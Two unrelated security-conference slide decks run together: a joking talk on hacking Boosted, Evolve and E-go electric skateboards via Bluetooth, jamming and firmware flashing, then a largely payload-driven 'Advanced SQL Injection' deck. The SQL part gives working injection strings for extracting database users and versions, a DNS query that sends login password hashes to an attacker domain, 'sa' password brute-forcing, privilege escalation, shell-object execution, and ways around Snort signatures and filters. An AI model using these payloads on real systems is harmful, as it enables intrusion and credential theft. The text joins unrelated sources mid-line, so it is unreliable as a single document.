‣ I know nothing about bluetooth
‣ I know mike though
‣ mike knows bluetooth
‣ How hard can this possibly be?
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Boosted
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Boosted
‣ Bluetooth Remote
‣ Regenerative Braking
‣ Firmware Upgradable
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Storytime
Co-opting a GATTling gun
Bluetooth and You
‣ Bought some uberteeth
‣ Looked at some packets
‣ Now what?
Bluetooth and You
‣ Modern bluetooth supports some crypto
‣ Using it would have made our lives annoying
‣ No crypto though
‣ Go team!
A clever pun about gatt
GATT
‣ Handle-wise communication
‣ Supports either request-response or datagram like
‣ Sits on BLE
Looks like dis
… many beers later
painstakingly reversed with love
‣ Simple Duplex protocol
‣ Controller sends on handle 0x1a
‣ Reads on handle 0x1c
‣ Basically a bluetooth -> serial adaptor
… many beers later
Message
Direction
Meaning
RC0
Remote -> Board
Speed control
FUEL
Remote -> Board
Fetch current battery load
REXP
Remote -> Board
Set expert mode
RBGN
Remote -> Board
Set beginner mode
GAUGE[1-5] Board -> Remote
Inform current battery load
painstakingly reversed with love
but how 2 talking?
We know its language
‣ Bluetooth comms turn out to be sorta miserable
‣ Especially for general purpose applications
‣ x10000 for ad-hoc, general purpose applications
The old school
‣ Ubertooth
‣ “minimal”
‣ BlueZ
‣ Full featured, but heavy
‣ Not super fond of doing obviously broken things
‣
(Like fuzzing embedded devices)
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Welcome to the new school
PyBT
‣ Userland bluetooth stack implemented in Python
‣ Backs onto scapy for actually talking to the wire
‣ Uses HCI_CHANNEL_USER
‣ Prototyping++
‣ https://github.com/mikeryan/PyBT
Now what
Neat we can spin the wheels
‣ Need to be connected to the board to exploit
‣ Only one thing can be connected at a time
‣ Thinking back to that intersection
‣ richo demonstrates again that he has no idea:
‣ “How hard can jamming bluetooth be?”
Super hard, it turns out
Jamming bluetooth:
‣ Naive approach:
‣ Yell really loud
‣ Noone can hear anything
‣ ??????
‣ Profit…..?
Super hard, it turns out
Jamming bluetooth:
Super hard, it turns out
Jamming bluetooth:
Seriously like crazy hard
Jamming Bluetooth
‣ It’s like they designed the protocol itself to stop us
from doing this exact thing
‣ By this point richo is no longer allowed to make
suggestions
Seriously like crazy hard
Jamming Bluetooth
‣ Bluetooth’s channel hopping stops us from jamming
effectively
‣ Channel hopping is deterministic
‣ Need some state- Gotta capture:
‣ Access address
‣ Hop interval
‣ Hop increment
Seriously like crazy hard
Jamming Bluetooth
Upstreamed: https://github.com/greatscottgadgets/ubertooth
Time to launch some jerks
Demo Time!
‣ The plan:
‣ Setup a bunch of jammers
‣ Configure our repl to connect and autoreverse throttle
‣ Wait for hapless skateboarder
‣ Jam
‣ Connect
‣ Reverse
‣ ?????
‣ Launch some jerk
Time to launch some jerks
Demo Time!
He’ll be like:
Time to launch some jerks
Demo Time!
And we’ll be like:
Time to launch some jerks
Demo Time!
Boosted Response: not-horrible/10
Followup
‣ Reported to Boosted before Kiwicon last year
‣ Shaky start
‣ Wound up working with us
‣ Implemented a fix! (kinda)
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Evolve
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Evolve
‣ Says bluetooth on the site
‣ Spoilers: This is not a True Fact™
‣ Better range than boosted
‣ Janky looking remote
‣ Made of carbon though?
‣ So that’s neat I guess
‣ ¯\_()_/¯
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Evolution
‣ It says bluetooth right there on the tin
‣ We’re crazy cocky at this point
‣ “We oughta have this done by lunch”
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Evolution
‣ Pull out the harness we used on Boosted
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Evolution
‣ No packets this time :(
‣ richo is a goddamn hipster and lives in SF
‣ goddamn hipsters in SF love wifi/bt
‣ richo’s apartment might be the RF noisiest
environment in the whole universe
‣ The moratorium on richo giving advice has expired
by this point
‣ “We’ll build a faraday cage!”
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Evolution
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Evolution
‣ Snowboard bindings box
wrapped in tinfoil
‣ Works terrifyingly well
‣ Seriously wtf tho where’s
the bluetooth
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Evolution
‣ merijn very kindly lent us his skateboard
‣ We should probably pull it to pieces and look at it
‣ Unclear if we ever mentioned that we were going to
do this or that we did
‣ (Hi Merijn btw we pulled apart your skateboard)
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Evolution
‣ Pulled the remote apart
‣ Looked up the rf part
‣ er, this is not a bluetooth
chip
‣ Neither of us have even
heard of this thing
‣ nRF24LE
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Evolution
‣ Talks PowerThirst™
@mpeg4codec / Hacking Electric Skateboards / @rich0H
@mpeg4codec / Hacking Electric Skateboards / @rich0H
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Evolution
‣ Er, ShockBurst™
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Evolution
‣ WTF is this thing?
‣ Antennae?
‣ Way too big for 2.4ghz
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Evolution
‣ No obvious path to glory
‣ No hackRF at my place
‣ Can’t fiddle with its radio today
‣ Let’s just dump traffic directly
‣ Hey didn’t I impulse buy a saleae a while ago?
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Evolution
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Evolution
‣ Dumped everything
‣ Nothing terribly
interesting looking
‣ ¯\_()_/¯
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Evolution
‣ No dice on the remote
‣ Let’s fiddle with the board instead!
‣ (Hi Merijn)
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Evolution
‣ Cramped AF
‣ Traced most of it out though
‣ Off the shelf parts
‣ Explained a bunch of
hilarious bugs
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Evolution
‣ ShockBurst is simplex
‣ Hence no data to the remote
‣ Not especially complex
‣ Does have a 9 member bitfield though to make our
lives miserable
‣ Less tolerant to interference than BT
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Demo Time!
‣ Inject packets into evolve
‣ ????
‣ Profit!
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Evolution
‣ Sadly not much else to do here
‣ Outside of “Attacker has physical access” scenarios
there’s not much to attack
@mpeg4codec / Hacking Electric Skateboards / @rich0H
E-go
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Taming a wild ego
‣ Says bluetooth all over it
‣ Has a smartphone app
‣ Has to be bluetooth right?
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Taming a wild ego
‣ Didn’t take a good photo :(
‣ Sadly it can’t actually drive
an ubertooth (yet?)
‣ Sniffed a lot of bluetooth
‣ No packets again
‣ WTF?
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Taming a wild ego
‣ WTF is this switch on the
side?
‣ BT|WIFI
‣ … no
‣ … … NO
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Taming a wild ego
‣ Yup this damn thing talks bluetooth *and* wifi
‣ Paired with a phone it’s bluetooth
‣ Paired with the remote it’s wifi
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Demo: pwning ego
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Boosted: Redux
Persistence
Remote code execution on a skateboard, you say?
‣ From pulling the board apart we knew it was a pic24f
‣ Didn’t have much luck initially trying to find debug
ports on the skateboard
‣ Later discovered that we missed them
‣ A few months later though, this happens:
Persistence
Remote code execution on a skateboard, you say?
Persistence
Remote code execution on a skateboard, you say?
Persistence
Remote code execution on a skateboard, you say?
Persistence
Remote code execution on a skateboard, you say?
‣ Has a firmware update facility
‣ This oughta be good
‣ Upgrade one of our boards
‣ Dump bluetooth traffic with jailbroken iThing
‣ Dump https traffic with burp
‣ Both sides of the conversation, hopefully we learn
how to upload + format firmware
Persistence
RCE on a skateboard, you say?
‣ many hours later we’ve stitched a firmware blob
together out of the dumps
‣ Strings are encoded as, eg:
‣ “F\x00U\x00\E\x00L\x00” => “FUEL”
‣ Write a dumb python script to strip nulls, strings(1)
to the rescue
‣ Learn about a bunch of new commands!
… many many beers later
Message
Direction
Meaning
RC0
Remote -> Board
Speed control
FUEL
Remote -> Board
Fetch current battery load
REXP
Remote -> Board
Set expert mode
RBGN
Remote -> Board
Set beginner mode
GAUGE[1-5] Board -> Remote
Inform current battery load
PING
Remote -> Board
Fetch version information
GIT
Remote -> Board
Fetch git revision of firmware
STAT
Remote -> Board
Fetch detailed diagnostic info
NUMSKL
Remote -> Board
Still no idea. Replies “NUMSKL4”
ODO
Remote -> Board
Fetch current odometer reading
SOC
Remote -> Board
Still no idea
painstakingly reversed with love
Persistence
RCE on a skateboard, you say?
‣ With this in hand, richo writes a repl for boosted
boards
‣ Nico works out how to unbrick a skateboard when
we inevitably screw this up
‣ https://github.com/richo/skateboard/blob/master/
boosted_repl.py
Persistence
RCE on a skateboard, you say?
‣ Finally, it’s time to reverse the transfer protocol
‣ Winds up like intel .hex over bluetooth
Length
Address
Flags
Data
Checksum
Persistence
RCE on a skateboard, you say?
‣ Becomes:
Persistence
RCE on a skateboard, you say?
‣ What do you even *do* with code execution on a
skateboard?
‣ Could definitely make the board dangerous to its
rider
‣ Seemed funnier to make it pretend to be Joshua from
WARGAMES
In which we make a $2k paperweight
Demo Time!
These jerks are alright
Gr33tz and Th4nx
‣ nico, who showed up at the last second and helped us
hax firmware, is an Arduino Uno expert
‣ merijn for lending us his evolve despite it obviously
being a Bad Idea
‣ whatever chump bought the e-go at the auction
‣ Boosted
‣ Evolve
‣ Yuneec | pdf |
Advanced SQL Injection
Presented By:
Joe McCray
[email protected]
http://twitter.com/j0emccray
http://www.linkedin.com/in/joemccray
The Last of a Dying Breed
A Network Penetration Tester
You know – the nmap, exploit, upload netcat type of guy.
A.K.A:
The only black guy at security conferences
Joe McCray.... Who the heck are you?
Step 1: Tell customer you are 31337 security professional
Customers only applied patches if it fixed something on the system
It was common practice NOT to apply system updates that didn't fix a problem you were
experiencing on a system (WTF ARE YOU DOING - YOU MIGHT BREAK SOMETHING!!!!!)
Step 2: Scan customer network with ISS or Nessus if you were a renegade
Customers didn't apply patches, and rarely even had firewalls and IDSs back then
You know you only ran ISS because it had nice reports...
Step 3: Break out your uber 31337 warez and 0wn it all!!!!!
You only kept an exploit archive to save time (Hack.co.za was all you needed back then)
If you could read the screen you could 0wn the network!!!!!!!
Penetration Testing Was Easy....
If you were Ub3r 31337 you did it like this....
Port Scan & Banner Grab The Target
Get your exploit code...
Own the boxes and take screen-shots
Write The Report...
Get Paid....
More Security Measures are being implemented on company networks today
Firewalls are common place (perimeter and host-based)
Anti-Virus is smarter (removes popular hacker tools, and in some cases stops buffer overflows
Intrusion Detection/Prevention Systems are hard to detect let alone bypass
NAC Solutions are making their way into networks
Network/System Administrators are much more security conscious
IT Hardware/Software vendors are integrating security into their SDLC
Geez...That's A Lot To Bypass
...I used to think Web App Security was stupid sh*t
“…This stuff isn't hacking"
…but then I saw demo of a tool called sqlninja upload nc.exe to a host vulnerable to
sql injection
I was hooked!!!!!!!!!!!!!!!!!!!!
What Did It For Me
Getting started
Background
Basic Attack Methods
SQL Injection In The Real World
Ugh...WTF????
Filter & IDS Evasion
Javascript Validation
Serverside Filters
IDS Signatures
WAF Evasion
Agenda
I submitted a talk entitled “SQL Injection for Mere Mortals” and it didn't get
accepted. Sorry – I am not covering the basics....
I am NOT going to teach you the basics of SQL
I am NOT going to teach you the basics of SQL Injection
Buy me rum and coke tonight, and I'll teach you anything I know about it later
Assumptions...
SQL Injection can be broken up into 3 classes
Inband - data is extracted using the same channel that is used to inject the SQL code.
This is the most straightforward kind of attack, in which the retrieved data is presented
directly in the application web page
Out-of-Band - data is retrieved using a different channel (e.g.: an email with the results of
the query is generated and sent to the tester)
Inferential - there is no actual transfer of data, but the tester is able to reconstruct the
information by sending particular requests and observing the resulting behaviour of the
website/DB Server.
3 Classes of SQLI
Data is extracted using the same channel that is used to inject the SQL
code.
This is the most straightforward kind of attack, in which the retrieved data is
presented directly in the application web page
So this is our Error-Based, and Union-Based SQL Injections
http://[site]/page.asp?id=1 or 1=convert(int,(USER))--
Syntax error converting the nvarchar value '[j0e]' to a column of data type int.
Inband:
Data is retrieved using a different channel (e.g.: an email with the results of
the query is generated and sent to the tester).
This is another way of getting the data out of the server (such as http, or dns).
http://[site]/page.asp?id=1;declare @host varchar(800); select @host = name + '-' +
master.sys.fn_varbintohexstr(password_hash) + '.2.pwn3dbyj0e.com' from
sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini''');--
Out-of-band:
If the application returns an error message generated by an incorrect query,
then it is easy to reconstruct the logic of the original query and therefore
understand how to perform the injection correctly.
However, if the application hides the error details, then the tester must be
able to reverse engineer the logic of the original query.
The latter case is known as "Blind SQL Injection".
http://[site]/page.asp?id=1;if+not(select+system_user)+<>+'sa'+waitfor+delay+'0:0:10'--
Ask it if it's running as 'sa'
Inferential:
Automated tools are a great way to identify SQLI......
Yeah they are……just be conscious of the different SQL Injection Types....
What About Tools????
So let's start with some tools you can use to identify SQLI as well as
the type they generally identify.
mieliekoek.pl
(error based)
wpoison
(error based)
sqlmap
(blind by default, and union if you specify)
wapiti
(error based)
w3af
(error, blind)
paros
(error, blind)
sqid
(error)
Joe, I am sick of this sh*t what the heck to you mean by error based, blind and union?
SQL Vuln Scanners
SQL Injection Types
Error-Based SQL Injection
Union-Based SQL Injection
Blind SQL Injection
Error:
Asking the DB a question that will cause an error, and gleening information from the
error.
Union:
The SQL UNION is used to combine the results of two or more SELECT SQL
statements into a single result. Really useful for SQL Injection :)
Blind:
Asking the DB a true/false question and using whether valid page returned or not, or by using
the time it took for your valid page to return as the answer to the question.
My Methodology
How I test for SQL Injection
Identify
* Identify The Injection
(Tool or Manual)
* Determine Injection Type
(Integer or String)
Attack
* Error-Based SQL Injection
(Easiest)
* Union-Based SQL Injection
(Great for data extraction)
* Blind SQL Injection
(Worst case....last resort)
Now that you understand that there are 3 primary types of SQL Injection....
- Can you understand why being able to test for SQLI manually is important?
- SQL Injection Scanners will generally look for 1 type of injection.....
- The scanner may tell you the site isn't vulnerable when it really is.
Why Focus On Manual Testing
Is it integer or string based?
Integer Injection:
http://[site]/page.asp?id=1 having 1=1--
Column '[COLUMN NAME]' is invalid in the select list because it is not
contained in an aggregate function and there is no GROUP BY clause.
String Injection:
http://[site]/page.asp?id=x' having 1=1--
Column '[COLUMN NAME]' is invalid in the select list because it is not
contained in an aggregate function and there is no GROUP BY clause.
Determining this is what determines if you need a ' or not.
Determine the Injection Type
I would say that MS-SQL Injection is probably the most fun ;)
There is always the possibility of getting access to a stored procedure
like xp_cmdshell
.......muahahahahahahahahahaha
We'll spend a little bit of time on MySQL, and not too much time on Oracle as
its injection syntax is fairly similar to MS-SQL. But primarily for the sake of time
we'll focus on MS-SQL.
Let’s start with MS-SQL syntax
http://[site]/page.asp?id=1 or 1=convert(int,(USER))--
Syntax error converting the nvarchar value '[DB USER]' to a column of
data type int.
Grab the database user with USER
Grab the database name with DB_NAME
Grab the servername with @@servername
Grab the Windows/OS version with @@version
Error-Based SQL Injection Syntax for
extracting the USER
http://[site]/page.asp?id=1 UNION SELECT ALL 1--
All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists.
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2--
All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists.
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3--
All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists.
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4--
NO ERROR
http://[site]/page.asp?id=null UNION SELECT ALL 1,USER,3,4--
Union-Based SQL Injection Syntax for extracting the USER
3 - Total Characters
http://[site]/page.asp?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
Valid page returns immediately
http://[site]/page.asp?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
Valid page returns immediately
http://[site]/page.asp?id=1; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--
Valid page returns after 10 second delay
Blind SQL Injection Syntax for extracting the USER
D - 1st Character
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))>97) WAITFOR DELAY '00:00:10'
Valid page returns immediately
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
Valid page returns immediately
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
Valid page returns immediately
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--
Valid page returns after 10 second delay
Blind SQL Injection Syntax for extracting the USER
B - 2nd Character
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--
Valid page returns immediately
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- (+10 seconds)
Valid page returns after 10 second delay
Blind SQL Injection Syntax for extracting the USER
O - 3rd Character
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--
Valid page returns immediately
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>98) WAITFOR DELAY '00:00:10'--
Valid page returns immediately
.....and so on
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--
Valid page returns after 10 second delay
Database User = DBO
Blind SQL Injection Syntax for extracting the USER
With MySQL you really only have:
* Union-Based
* Blind
Let’s move on to MySQL syntax
With MySQL you will typically use union or true/false blind SQL Injection so
you really need to know a lot about the DB you are attacking such as:
* number of columns
* column names
* path to website
So you will need to enumerate this information first.
The UNION operator is used to combine the result-set of two or more SELECT
statements. Notice that each SELECT statement within the UNION must have
the same number of columns. The columns must also have similar data types.
Also, the columns in each SELECT statement must be in the same order.
MySQL
http://[site]/page.php?id=1 order by 10/* <-- gives Unknown column „10'
in 'order clause'
http://[site]/page.php?id=1 order by 5/* <-- gives a valid page
http://[site]/page.php?id=1 order by 6/* <-- gives Unknown column '6' in
'order clause'
So now we know there are 5 columns.
By the way you can do this with MSSQL as well.
Column number enumeration
http://[site]/page.php?id=1 union all select 1,2,3,4,5/* <-- gives a valid page
Change the first part of the query to a null or negative value so we can see
what field will echo data back to us.
http://[site]/page.php?id=-1 union all select 1,2,3,4,5/* <-- gives a valid page but
with the number 2, and 3 on it
or
http://[site]/page.php?id=null union all select 1,2,3,4,5/* <-- gives a valid page
but with the number 2, and 3 on it
Now we know that column numbers 2 and 3 will echo data back to us.
Building the union
http://[site]/page.php?id=null union all select 1,2,3,4,5,6,7/*
http://[site]/page.php?id=null union all select 1,2,user(),4,5,@@version,7/*
Building the union
http://[site]/page.php?id=null union all select 1,user(),3,4,5/*
http://[site]/page.php?id=null union all select 1,2,database(),4,5/*
http://[site]/page.php?id=null union all select 1,@@version,@@datadir,4,5/*
Grab the database user with user()
Grab the database name with database()
Grab the database version with @@version
Grab the database data directory with @@datadir
Information Gathering
True-False Blind SQL Injection
http://www.site.com/page.php?id=66 AND 1=1--
Valid Page
http://www.site.com/page.php?id=66 AND 1=2--
Error Page
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 1, 1)) > 51
3
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 1, 1)) > 53
5
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 1, 1)) > 52
4
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 2, 1)) > 43
+
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 2, 1)) > 45
-
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 2, 1)) > 46
.
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 3, 1)) > 51
3
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 3, 1)) > 49
1
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 3, 1)) > 48
0
MID()
Extract characters from a text field
retrieved version: 5.0.45
Basic SQLI Attack Methods
Time-Based Blind SQL Injection
http://[site]/page.asp?id=1;waitfor+delay+'0:0:5';--
See if it takes 5 seconds to return the page. If it does, then you can ask it questions.
http://[site]/page.asp?id=1;if+not(substring((select+@@version),%,1)+<>+5)+waitfor
+delay+'0:0:5';--
Ask it if he is running SQL Server 2000
http://[site]/page.asp?id=1;if+not(select+system_user)+<>+'sa'+waitfor+delay+'0:0:5'--
Ask it if it's running as 'sa'
http://[site]/page.asp?id=1;if+is_srvrolemember('sysadmin')+>+0+waitfor+delay+'0:0:5';--
Ask it if the current user a member of the sysadmin group
Basic SQLI Attack Methods
In the real world exploiting SQL Injection can be difficult. More and more complex
dynamic queries are being passed to backend DBs. Also, more and more people know
not to run a database as 'sa', and they know to remove the xp_ stored procedures.
It's time to up your game.
* Ugh...wtf
* Privilege Escalation
* Re-Enabling stored procedures
* Obtaining an interactive command-shell
SQL Injection In the Real World
You know I always trip out on the fact that lil john is a millionaire and only has a
vocabulary of "YEAAAHHHHH", and "WUUUUHAAAATTTT".
Here I am hacking into companies and I'm not even close. What am I doing wrong?
Maybe I should trade in the shirt, tie, slacks, laptop for a mouth full of gold teeth,
dreadlocks, baggy pants, 40 oz, and a phat blunt!!!!!
meh..nah...I love hacking too much...YEAAAAAAHHHHH
SQL Injection In the Real World
http://www.http://www.liljon.com/liljon.asp?lil='
Gives the error:
Microsoft OLE DB Provider for SQL Server error '80040e14'
http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(USER))--
Gives the error:
Microsoft OLE DB Provider for SQL Server error '80040e14'
Incorrect syntax near ')'.
Hmm....ok, so it doesn't like that right paren so let's add one more to the end of our query.
http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(USER)))--
Gives the error:
Microsoft OLE DB Provider for SQL Server error '80040e07'
Conversion failed when converting the nvarchar value 'liljon' to data type int.
Now we know every injection from here on out will require the additional right paren....
@@servername()), @@version()), db_name()), etc....
UGGGGHHH.....WTF??? (1)
http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(DB_NAME())))-
Gives the error:
Conversion failed when converting the nvarchar value 'yeaaaaaah' to data type int.
http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(@@VERSION)))-
Gives the error:
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3054.00 (Intel X86) Mar 23
2007 16:28:52 Copyright (c) 1988-2005 Microsoft Corporation Workgroup Edition on Windows NT 5.2 (Build 3790:
Service Pack 2) ' to data type int.
The database has been enumerated...WUUUUHAATTTTT
The database has been enumerated...WUUUUHAATTTTT
The database has been enumerated...WUUUUHAATTTTT
The database has been enumerated...YEEAAAAAAAHHHHHHHHHHHH!!!!!!!!!!!!!!!!!!!!!!!!!!
Liljohn - Shut the f*ck up....OOKAYYY!!!!!!!!!!!!!!!!
UGGGGHHH.....WTF??? (1) Cont.
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2--
Received error: The text, ntext, or image data type cannot be selected as DISTINCT.
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO')--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8,9--
Received error: Operand type clash: text is incompatible with int
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8,null--
Tips:
1. Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records
with distinct.
2. Use NULL in UNION injections for most data type instead of trying to guess string, date, integer
UGGGGHHH.....WTF??? (2)
Step 1: Brute-Force the 'sa' password
http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'JOE','waitfor
delay ''0:0:50'';select 1;');&a=1
http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'joe','waitfor
delay ''0:0:50'';select 1;');&a=1
http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','waitfor
delay ''0:0:50'';select 1;');&a=1
Key point to remember is that we used time-based blind sqli to enumerate the sa account
password length. This is a great aid in bruteforcing.
Privilege Escalation
Step 2: Add current user to admin group
http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','exec
master..sp_addsrvrolemember ''sa'',''sysadmin'';select 1');&a=1
Key point to remember is that we used time-based blind sqli to enumerate the sa account
password length. This is a great aid in bruteforcing.
Privilege Escalation
Step 3: Recreate the xp_cmdshell stored procedure
MSSQL Server 2000
http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select
1;exec master..sp_dropextendedproc ''xp_cmdshell'';')&a=1
http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select
1;DECLARE @result int,@OLEResult int,@RunResult int,@ShellID int EXECUTE
@OLEResult=sp_OACreate ''WScript.Shell'',@ShellID OUT IF @OLEResult<>0 SELECT
@result=@OLEResult IF @OLEResult<>0 RAISERROR(''CreateObject %0X'',
14,1,@OLEResult) EXECUTE @OLEResult=sp_OAMethod @ShellID,''Run'',Null,''ping -n 8
127.0.0.1'',0,1IF @OLEResult<>0 SELECT @result=@OLEResult IF @OLEResult<>0
RAISERROR (''Run %0X'',14,1,@OLEResult) EXECUTE @OLEResult=sp_OADestroy
@ShellID');&a=1
Remember to correctly identify the backend version as this step because MS SQL 2000
handle this differently than MS SQL 2005
Privilege Escalation
Step 3: Recreate the xp_cmdshell stored procedure (What's really going on?)
select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select 1;
DECLARE @result int,@OLEResult int,@RunResult int,@ShellID int
EXECUTE @OLEResult=sp_OACreate ''WScript.Shell'',@ShellID OUT IF @OLEResult<>0
SELECT @result=@OLEResult IF @OLEResult<>0 RAISERROR(''CreateObject%0X'',14,1,@OLEResult)
EXECUTE @OLEResult=sp_OAMethod @ShellID,''Run'',Null,''ping -n 8 127.0.0.1'',0,1IF @OLEResult<>0
SELECT @result=@OLEResult IF @OLEResult<>0
RAISERROR (''Run %0X'',14,1,@OLEResult) EXECUTE @OLEResult=sp_OADestroy @ShellID');&a=1
Privilege Escalation
I know that people often think this stuff is very black and white, cut and dry - but the
simple truth with sql injection is sometimes you just have a gut feeling that you are
looking at a vulnerable page.
You've tried a bunch of things but for some reason nothing seems to be working. You
may be facing some sort of filtering. Maybe the developer has attempted to stop sql
injection by only allowing alphanumeric characters as input.
Filter Evasion
The first thing that we want to do is determine if the filtering is client-side (ex: being
done with javascript).
View source code and look for any parameters being passed to the website that
may be filtered with javascript/vbscript and remove them
- Save the page locally and remove offending javascript/vbscript
or
- Use a local proxy (ex: Paros, Webscarab, Burp Suite)
Client-Side Filtering
Server-side Alphanumeric Filter
http://[site]/page.asp?id=2 or 1 like 1
Here we are doing an “or true,” although this time we are using the “like”
comparison instead of the “=” sign. We can use this same technique for the other
variants such as “and 1 like 1” or “and 1 like 2”
http://[site]/page.asp?id=2 and 1 like 1
http://[site]/page.asp?id=2 and 1 like 2
Restrictive Blacklist
The key to IDS/IPS evasion is knowing that there is one in place.
With an IPS you can use something like Active Filter Detection or you can try something
REALLY noisy from another IP address to see if your IP gets blocked.
Depending of the scope of your engagement you may or may not really be able to identify
when an IDS is in use because it's passive in nature.
I've honestly found this side of the house to be more proof-of-concept, and just having
fun as opposed to something I've actually needed on assessments.
Signature Based IDS
Signature 1
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection attempt”;
flow: to_server, established; content: “' or 1=1 --”; nocase; sid: 1; rev:1;)
Bypass Techniques:
http://[site]/page.asp?id=2 or 2=2--
http://[site]/page.asp?id=2 or 1<2--
http://[site]/page.asp?id=2 or 1 like 1--
http://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2--
....c'mon everyone name some more
Signature Negatives
- Having the ' in the signature will cause you to miss attacks that don't utilize the '
- 1=1 is not the only way to create a query that returns "true" (ex: 2=2, 1<2, etc)
If this signature is so easily bypassed, what is it actually good for?
Answer:
It's great for automated tools and kiddies
Signature Based IDS (1)
Signature Based IDS (My Opinion)
Signature 2
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection attempt”;
flow: to_server, established; pcre: “/(and|or) 1=1 (\-\-|\/\*|\#)/i”; sid: 1; rev:2;)
Bypass Techniques:
http://[site]/page.asp?id=2 or 2=2%2D%2D
http://[site]/page.asp?id=2 or 1<2%2D%2D
http://[site]/page.asp?id=2 or 1 like 1%2D%2D
http://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2%2D%2D
....c'mon everyone name some more
Signature Negatives
- 1=1 is not the only way to create a query that returns "true" (ex: 2=2, 1<2, etc)
- Comments like pretty much anything else can be represented in other encoding type
(ex: (%2D%2D = --)
